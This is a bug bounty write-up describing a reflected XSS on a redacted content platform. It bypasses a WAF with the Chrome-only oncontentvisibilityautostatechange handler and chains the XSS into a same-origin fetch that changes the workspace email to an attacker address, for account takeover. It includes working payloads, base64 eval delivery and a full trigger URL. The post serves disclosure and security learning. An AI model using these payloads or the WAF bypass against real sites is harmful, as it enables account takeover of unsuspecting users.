These days, finding a proper CSRF vulnerability is rare. Modern browsers default cookies to SameSite=Lax, which means cookies aren't sent in hidden GET requests, though they are still sent when clicking on links. Combined with Same-Origin Policy, this makes reading responses through XHR or fetch impossible across origins.

XSS isn't easy to find either on well known target, at least not the classic ones. But honestly, if you spend enough time on a target, stuff shows up.

Discovery: Reflected Injection

While testing the image upload feature of a content management platform, I came across a pretty dumb reflected HTML injection via the contentType GET parameter:

/api/content-creation/v1/workspace/image-upload/send?contentType=INJECTION_POINT

I wasn't even looking for this. Just messing around. Tried the usual payloads from cheat sheets, tried some bypasses. Nothing worked (really? it's a big company, things aren't easy like that). Every single classic payload got filtered. A Web Application Firewall (WAF) was blocking almost all event handlers, preventing any JavaScript from executing.

Handlers like onerror, onload, onmouseover , all blocked, script tags, style tags? forgot everything.

Bypassing the WAF

Digging deeper, I tested lesser-known event handlers. I eventually found out that the WAF didn't filter out Chrome-specific ones, such as:

oncontentvisibilityautostatechange

Using that, I managed to get JavaScript to run successfully in Chrome, which makes up ~67% of users.

Here's the working payload:

<input type="hidden" 
  oncontentvisibilityautostatechange="confirm(document.domain)" 
  style="content-visibility:auto">

triggered, XSS achieved.

Cookie Troubles… But Wait

Alright, we've got XSS, but the session cookie is marked HttpOnly(really? i never saw one without httponly nowadays) That means no way to document.cookie and steal it directly.

I tried finding token leaks in the DOM, looked into other endpoints, nothing useful to extract the token.

Then I remembered something simple but important:

Most critical endpoints use Bearer tokens to prevent CSRF. But in this case, some of authenticated API endpoints relied just on cookies. And since our XSS runs in the same origin, CSRF becomes fully viable.

in this case, is more like a in-site request forgery, because is not cross site anymore when we got xss on it.

Cookies are sent. No preflight. No need to exfiltrate anything.

The in-site Chain

The endpoint we're targeting allows changing the workspace email:

PUT /api/content-creation/v1/workspace/manage

Payload:

{
  "isEnabled": true,
  "email": "attackeremail@hacked.com"
}

Now, from the XSS, we can do:

const url = "https://REDACTED.COM/api/content-creation/v1/workspace/manage";

const headers = {
  "Content-Type": "application/json"
};
const data = {
  method: "PUT",
  headers,
  body: JSON.stringify({
    isEnabled: true,
    email: "ph4nt0mbyt3@attacker.com"
  }),
  credentials: "include"  // Send victim's cookies
};
fetch(url, data)
  .then(res => res.json())
  .then(resp => console.log("Response:", resp))
  .catch(err => console.error("Error:", err));

🧬 Payload Delivery (Base64-Encoded JS)

To avoid being blocked by the WAF and make shorter, we encode the JavaScript in Base64 and decode and execute it using eval(atob()).

<input type="hidden"
  oncontentvisibilityautostatechange="eval(atob('BASE64_CODE'))"
  style="content-visibility:auto">

And to trigger the payload:

https://redacted.com/api/content-creation/v1/workspace/image-upload/send?contentType=<input%20type=hidden%20oncontentvisibilityautostatechange%3D%22eval(atob('BASE64_PAYLOAD'))%22%20style=content-visibility:auto>

Once the victim visits that link (and they're authenticated), the email gets changed silently, full workspace takeover.

Impact & Report

I reported this immediately and marked it as High Severity.

Unfortunately, it got marked as a duplicate of a Medium severity issue, happens sometimes, part of the game. But the chain itself was real, and shows how combining low-severity issues with browser quirks still gets you wins.

Final Thoughts

  • Even if cookies are Lax/Strict and HttpOnly, XSS still rules everything in the right context.
  • CSRF isn't dead, it's just waiting for the right conditions to come back.
  • WAFs aren't magic. Learn how to break them.
  • Creativity > Cheat Sheets.

Stay sharp. Stay curious. — Ph4nt0mByt3